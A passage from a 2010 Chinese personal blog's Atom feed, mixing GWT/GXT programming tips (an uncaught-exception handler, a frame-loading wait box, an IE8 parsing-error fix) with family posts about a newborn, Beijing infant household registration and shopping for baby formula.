type='text'>GWT.setUncaughtExceptionHandler</title><content type='html'>GWT设置UncaughtExceptionHandler 以捕获为捕捉的异常，这gwt在host mode编译后的JavaScript如果出现错误，No errors in Hosted Mode and Compiled localy, but deployed to tomcat yields in errors&lt;br/&gt;这是恼人，加上UncaughtExceptionHandler起码有一丝线索&lt;br/&gt;&lt;div style="background-color:rgb(249,247,237);"&gt;&lt;u&gt;&lt;br/&gt;&lt;/u&gt;&lt;br/&gt;&lt;div class="source" style="background-color:rgb(249,247,237);"&gt;&lt;span style="color:rgb(0,0,0);"&gt;GWT&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(255,0,0);"&gt;setUncaughtExceptionHandler&lt;/span&gt;(&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;new&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;GWT&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(255,0,0);"&gt;UncaughtExceptionHandler&lt;/span&gt;()  &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;public&lt;/span&gt; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;void&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;onUncaughtException&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;Throwable&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;throwable&lt;/span&gt;)  &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,0,0);"&gt;String&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;text&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;Uncaught exception: &amp;quot;&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;while&lt;/span&gt;  (&lt;span style="color:rgb(0,0,0);"&gt;throwable&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;!=&lt;/span&gt; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;null&lt;/span&gt;) &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,0,0);"&gt;StackTraceElement&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;[]&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;stackTraceElements&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;throwable&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(255,0,0);"&gt;getStackTrace&lt;/span&gt;();&lt;br/&gt;&lt;span style="color:rgb(0,0,0);"&gt;text&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;+=&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;throwable&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(255,0,0);"&gt;toString&lt;/span&gt;() &lt;span style="color:rgb(0,0,0);"&gt;+&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;\n&amp;quot;&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;for&lt;/span&gt; (&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;int&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;i&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;; &lt;span style="color:rgb(0,0,0);"&gt;i&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;stackTraceElements&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(255,0,0);"&gt;length&lt;/span&gt;; &lt;span style="color:rgb(0,0,0);"&gt;i&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;++)&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,0,0);"&gt;text&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;+=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;&amp;#160;&amp;#160;&amp;#160; at &amp;quot;&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;+&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;stackTraceElements&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;[&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;i&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;]&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;+&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;\n&amp;quot;&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,0,0);"&gt;throwable&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;throwable&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(255,0,0);"&gt;getCause&lt;/span&gt;();&lt;br/&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;if&lt;/span&gt; (&lt;span style="color:rgb(0,0,0);"&gt;throwable&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;!=&lt;/span&gt; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;null&lt;/span&gt;) &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,0,0);"&gt;text&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;+=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;Caused by: &amp;quot;&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,0,0);"&gt;System&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(255,0,0);"&gt;err&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(255,0,0);"&gt;print&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;text&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,0,0);"&gt;text&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;text&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(255,0,0);"&gt;replaceAll&lt;/span&gt;(&lt;span style="color:rgb(0,0,255);"&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot; &amp;quot;&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,0,0);"&gt;Window&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(255,0,0);"&gt;alert&lt;/span&gt;(&lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;系统错误：&amp;quot;&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;+&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;text&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,0,0);"&gt;});&lt;/span&gt;&lt;/div&gt;&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-4079443106194306057?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/4079443106194306057/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/05/gwtsetuncaughtexceptionhandler.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4079443106194306057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4079443106194306057'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/05/gwtsetuncaughtexceptionhandler.html' title='GWT.setUncaughtExceptionHandler'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-7010330344356272448</id><published>2010-05-13T17:57:00.000+08:00</published><updated>2010-08-13T11:22:03.772+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gwt'/><title type='text'>Gwt 中为加载中的Frame加上wait(二)</title><content type='html'>private void showWaitMess(Frame window){&lt;br/&gt;final MessageBox box = MessageBox.wait(&amp;quot;等待&amp;quot;, &amp;quot;正在查询数据，请稍后...&amp;quot;, &amp;quot;查询中...&amp;quot;);&lt;br/&gt;final Element frame = window.getElement();&lt;br/&gt;final Timer t = new Timer() {&lt;br/&gt;@Override&lt;br/&gt;public void run() {&lt;br/&gt;if (ready(frame)) {&lt;br/&gt;this.cancel();&lt;br/&gt;box.close();&lt;br/&gt;}&lt;br/&gt;}&lt;br/&gt;};&lt;br/&gt;t.scheduleRepeating(100);&lt;br/&gt;}&lt;br/&gt;private native boolean ready(Element frame)/*-{&lt;br/&gt;return frame.contentWindow.document.readyState==&amp;quot;complete&amp;quot;;&lt;br/&gt;}-*/;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-7010330344356272448?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/7010330344356272448/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/05/gwt-framewait.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7010330344356272448'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7010330344356272448'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/05/gwt-framewait.html' title='Gwt 中为加载中的Frame加上wait(二)'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-9015219831029350619</id><published>2010-05-08T05:51:00.000+08:00</published><updated>2010-08-13T11:22:03.430+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Baby'/><title type='text'>小棉袄出生15天了</title><content type='html'>&lt;p&gt;媳妇说女儿是小棉袄，儿子是皮大衣，哈哈，不知听谁说的&lt;/p&gt;&lt;br/&gt;&lt;p&gt;当爹15天，慢慢适应了，女儿很好哄，不磨人，只希望她接下来健健康康，茁壮成长&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-9015219831029350619?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/9015219831029350619/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/05/15.html#comment-form' title='1 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/9015219831029350619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/9015219831029350619'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/05/15.html' title='小棉袄出生15天了'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-5833714435596241374</id><published>2010-05-08T05:46:00.000+08:00</published><updated>2010-08-13T11:22:03.444+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gwt'/><title type='text'>基于GXT的决策分析系统基本完成</title><content type='html'>&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  本来系统是由JSP+润乾报表做的，做出一版来给人家客户演示，人家觉得体验不够，也没不够绚丽，要求回去返工，主要是因为他们看过他们兄弟部门的一个类似系统，要求向那个系统靠拢，可殊不知人家那是.net做的C/S，交互体验当然好了。&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  面临一个抉择，换.net平台做winform，然后用sql server Analysis Services 的现成组件，这要技术上肯定可行，但是需要购买一堆微软的东西，钱啊。&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  正好以前看过一些GWT的资料，以及基于GWT的开源框架，它的界面效果倒是可以满足客户的要求，遂毛遂自荐，想试试用GXT实验是否能实现要求的功能和效果，同时也有其他同事考察了SAP的BI，水晶E表，IBM的Cognos，结果因功能实现不够或者商务问题搁浅&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  好像春节后没多久就开始搞GWT，现在终于实现了（或是变相实现了）要求的功能、满足了客户的意见，很有成就感，期间经历了两次重构，现在采用的GXT提供的MVC模型，底层数据访问是通过调用润乾报表API，将润乾报表运算结果转化为一个List，然后交给GXT在页面展现。&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  页面功能上，GXT挺全面，Grid列排序，隐藏显示特定列，树形展开收缩，用open chart封装的统计图表，数据钻取，列标题分组，拖拽形式动态设置列维度、行维度以实现灵活查询，将灵活查询行列维度保存起来供以后随时打开，将结果到处Excel、PDF、Word，动态设置查询条件的显示隐藏，动态的进度条提示等等&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  接下来还要融入GIS，实现报表到地图，地图到报表。&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  值得注意的是所有这些功能都是在一个窗口中完成的，实现了菜单、维度定义、报表、统计图功能的融合，不用客户点来点去，一步了然。&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-5833714435596241374?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/5833714435596241374/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/05/gxt.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5833714435596241374'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5833714435596241374'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/05/gxt.html' title='基于GXT的决策分析系统基本完成'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-4766864138610729618</id><published>2010-05-04T23:15:00.000+08:00</published><updated>2010-08-13T11:22:03.453+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Baby'/><title type='text'>婴儿办理北京户口</title><content type='html'>&lt;p&gt;1、办理机构：&lt;br/&gt;婴儿父母常住户口所在地的户籍派出所&lt;br/&gt;婴儿父母常住户口所在地为宣武区的办理地点在分局户政大厅&lt;br/&gt;婴儿父母常住户口所在地为大兴区兴丰、清源路、林校路、开发区派出所辖区的办理地点为分局户政大厅&lt;br/&gt;2、办理时间：城镇地区派出所户籍接待室每周七天对外办公，农村地区派出所双休日实行预约办事制度。&lt;br/&gt;3、办理时限：手续齐全即时办理&lt;br/&gt;4、受理条件：父母双方或母亲一方在取得北京市常住户口以后出生(指2003年8月7日以后出生)的婴儿，在出生后一个月内，由户主、亲属等到婴儿父亲或母亲户口所在地派出所申报出生登记（2003年8月7日以前出生的仍按原有规定随母申报出生登记）。婴儿父母一方为本市集体户口，一方为本市家庭户的，婴儿应当随家庭户一方登记出生户口；父母均为本市集体户口的，婴儿可以自愿选择随父随母登记出生户口；母亲为本市集体户口，父亲为外省市户口的，婴儿可以随母登记出生户口；母亲为本市农业户口的，婴儿可以自愿选择随母随父登记为非农业户口；父母双方或母亲一方系驻京部队现役军人的，婴儿可以自愿选择随父随母登记出生户口。&lt;br/&gt;5、申请资料：&lt;br/&gt;（一）父母双方或母亲一方是北京市常住户口的婴儿，在出生一个月内，由监护人到婴儿父亲或母亲户口所在地派出所申报出生登记。婴儿父母一方为本市集体户口，一方为本市家庭户口的，婴儿须随家庭户一方登记常住户口。婴儿母亲为本市集体户口，父亲为市外户口的，户口可随母亲登记为集体户口。母亲为本市农业户口的，婴儿可以自愿选择随母或随父登记为非农业户口。 &lt;br/&gt;办理出生登记,应出具下列证件证明: &lt;br/&gt;A、婴儿出生医院填发的《出生医学证明》； &lt;br/&gt;B、婴儿父亲、母亲的《居民户口簿》、《居民身份证》、《结婚证》； &lt;br/&gt;C、婴儿母亲户口所在地计划生育部门出具的《生育服务证》（随父申报登记的，该证需到母亲户口所在地计划生育部门办理迁移手续）； &lt;br/&gt;D、婴儿母亲系驻京部队现役军人的，须出具其母所在部队团以上政治部门出具的证明及本人身份证件； &lt;br/&gt;E、超计划生育、非婚生育婴儿等违反法律法规规定生育的，须持婴儿出生医院填发的《出生医学证明》和婴儿父亲、母亲的《居民户口簿》、《居民身份证》、《结婚证》及婴儿母亲户口所在地计划生育部门开具的缴纳社会抚养费证明。非婚生婴儿同时提供亲子鉴定证明经派出所审批办理； &lt;br/&gt;F、在港、澳、台及国外出生的婴儿，须持国外或境外医疗机构出具的出生证明原件、复印件及翻译机构出具的出生证明翻译件；我驻外使领馆签发的《中华人民共和国旅行证》或《护照》；婴儿父亲、母亲的《居民户口簿》、《居民身份证》、《结婚证》；《北京市生育服务证》或缴纳社会抚养费证明或区县计生部门出具的同意入户证明。 &lt;br/&gt;（二）父亲为本市户口、母亲为外省市户口的婴儿(2003年8月7日以后出生)，要求随父申报出生登记的，应符合北京市计划生育政策，经婴儿父亲户口所在地派出所审批办理。应出具下列证件证明: &lt;br/&gt;A、入户申请； &lt;br/&gt;B、医疗机构填发的《出生医学证明》； &lt;br/&gt;C、婴儿父母亲的《居民户口簿》、《居民身份证》、《结婚证》，婴儿父亲的住房证明； &lt;br/&gt;D、《北京市生育服务证》（外省市生育服务证明需到入户地街、乡计划生育部门更换成《北京市生育服务证》）。 &lt;br/&gt;告知&lt;br/&gt;6、收费标准及依据：不收费&lt;br/&gt;7、办理依据：《&lt;a style="color:#3366ff;" href="http://www.bjgaj.gov.cn/web/gspdAction.do?method=getFlfgInfo&amp;amp;lawid=203"&gt;中华人民共和国户口登记条例&lt;/a&gt;》、《派出所办理常住户口登记工作规范》（试行）&lt;/p&gt;&lt;br/&gt;&lt;p&gt; &lt;/p&gt;&lt;br/&gt;&lt;p&gt;自：&lt;a href="http://eservice.beijing.gov.cn:8080/zzbj/Detail.aspx?id=11&amp;amp;cid=426"&gt;http://eservice.beijing.gov.cn:8080/zzbj/Detail.aspx?id=11&amp;amp;cid=426&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-4766864138610729618?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/4766864138610729618/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/05/blog-post.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4766864138610729618'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4766864138610729618'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/05/blog-post.html' title='婴儿办理北京户口'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-9092864417342560288</id><published>2010-04-17T17:19:00.000+08:00</published><updated>2010-08-13T11:22:03.465+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Baby'/><title type='text'>第一次</title><content type='html'>选奶粉&lt;br/&gt;对防伪的重视从某种程度上能看出对产品品质的重视&lt;br/&gt;http://www.dumex.com.cn 多美滋&lt;br/&gt;搜索“防伪” 没有信息&lt;br/&gt;有防伪查询页面，但显示“系统维护中，请稍候回来验证。”&lt;br/&gt;电话400 880 5288&lt;br/&gt;http://www.meadjohnson.com.cn 美赞臣&lt;br/&gt;搜索“防伪” 找到三条关键字信息&lt;br/&gt;找到防伪查询页面，有详细说明&lt;br/&gt;电话8009880100&lt;br/&gt;http://www.beingmate.com 贝因美&lt;br/&gt;搜索“防伪” 找到三条关键字信息&lt;br/&gt;找到防伪查询页面，有详细说明&lt;br/&gt;电话8009880100&lt;br/&gt;第一次没打开，刷新才打开&lt;br/&gt;http://www.wyeth.com.cn 惠氏&lt;br/&gt;搜索“防伪” 没有信息&lt;br/&gt;没找到防伪查询页面&lt;br/&gt;感觉不是做奶粉的，做保健品的&lt;br/&gt;&lt;br/&gt;待购：&lt;br/&gt;&lt;br/&gt;婴姿坊 婴幼儿全效护臀霜 60克/支 当当价：￥34.90 红孩子 ￥48.00&lt;br/&gt;http://product.dangdang.com/product.aspx?product_id=20453812&lt;br/&gt;&lt;br/&gt;婴姿坊 婴儿补水润肤露 150ml/瓶 当当价：￥28.80 红孩子￥28.80&lt;br/&gt;http://product.dangdang.com/product.aspx?product_id=20453824&lt;br/&gt;&lt;br/&gt;限量送80湿巾！好奇弹性超薄纸尿裤普通装NB35送80片湿巾 当当价：￥54.90 红孩子 没有&lt;br/&gt;http://product.dangdang.com/Product.aspx?product_id=20769478&lt;br/&gt;&lt;br/&gt;美赞臣安婴儿A+(新) 400克/盒 当当价：￥95.50 红孩子￥96.50 丽家宝贝￥96.50&lt;br/&gt;http://product.dangdang.com/product.aspx?product_id=20357698&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;尼龙奶瓶奶嘴刷&lt;br/&gt;http://product.dangdang.com/product.aspx?product_id=20762772&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;妈妈乐妇婴两用垫10片/包 当当价：￥8.30&lt;br/&gt;http://product.dangdang.com/product.aspx?product_id=20385693&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;好奇婴儿柔润湿巾80抽盒装（加厚） 当当价：￥26.10&lt;br/&gt;http://product.dangdang.com/product.aspx?product_id=20388652&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;婴之侣 洗澡温度计 当当价：￥8.00&lt;br/&gt;http://product.dangdang.com/product.aspx?product_id=9321403&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-9092864417342560288?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/9092864417342560288/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/04/blog-post.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/9092864417342560288'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/9092864417342560288'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/04/blog-post.html' title='第一次'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-3411985213314718104</id><published>2010-04-15T01:15:00.000+08:00</published><updated>2010-08-13T11:22:03.474+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Js'/><title type='text'>Unable to modify the parent container element before the child element
is closed (KB927917)</title><content type='html'>又涨见识了&lt;br/&gt;IE8报下面错误，而且是我的机器不报，同事的机器报，试了4台，两个报，两个不报，IE版本都一样，没想明白&lt;br/&gt;解决：1、查看是否有未关闭的html标签，比如&amp;lt;table&amp;gt;而没有&amp;lt;/table&amp;gt; (我就是这个原因)&lt;br/&gt;2、是否在页面未加载完前js代码操作了body里的元素，将相关js代码移到&amp;lt;/body&amp;gt;后面&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;网页错误详细信息&lt;br/&gt;&lt;br/&gt;用户代理: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)&lt;br/&gt;时间戳: Wed, 14 Apr 2010 08:33:56 UTC&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;消息: HTML Parsing Error: Unable to modify the parent container element before the child element is closed (KB927917)&lt;br/&gt;行: 0&lt;br/&gt;字符: 0&lt;br/&gt;代码: 0&lt;br/&gt;URI:&amp;#160; &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;http://support.microsoft.com/kb/927917&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-3411985213314718104?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/3411985213314718104/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/04/unable-to-modify-parent-container.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3411985213314718104'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3411985213314718104'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/04/unable-to-modify-parent-container.html' title='Unable to modify the parent container element before the child element&#xA;is closed (KB927917)'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-8431089218523569233</id><published>2010-03-30T04:52:00.000+08:00</published><updated>2010-08-13T11:22:03.482+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' 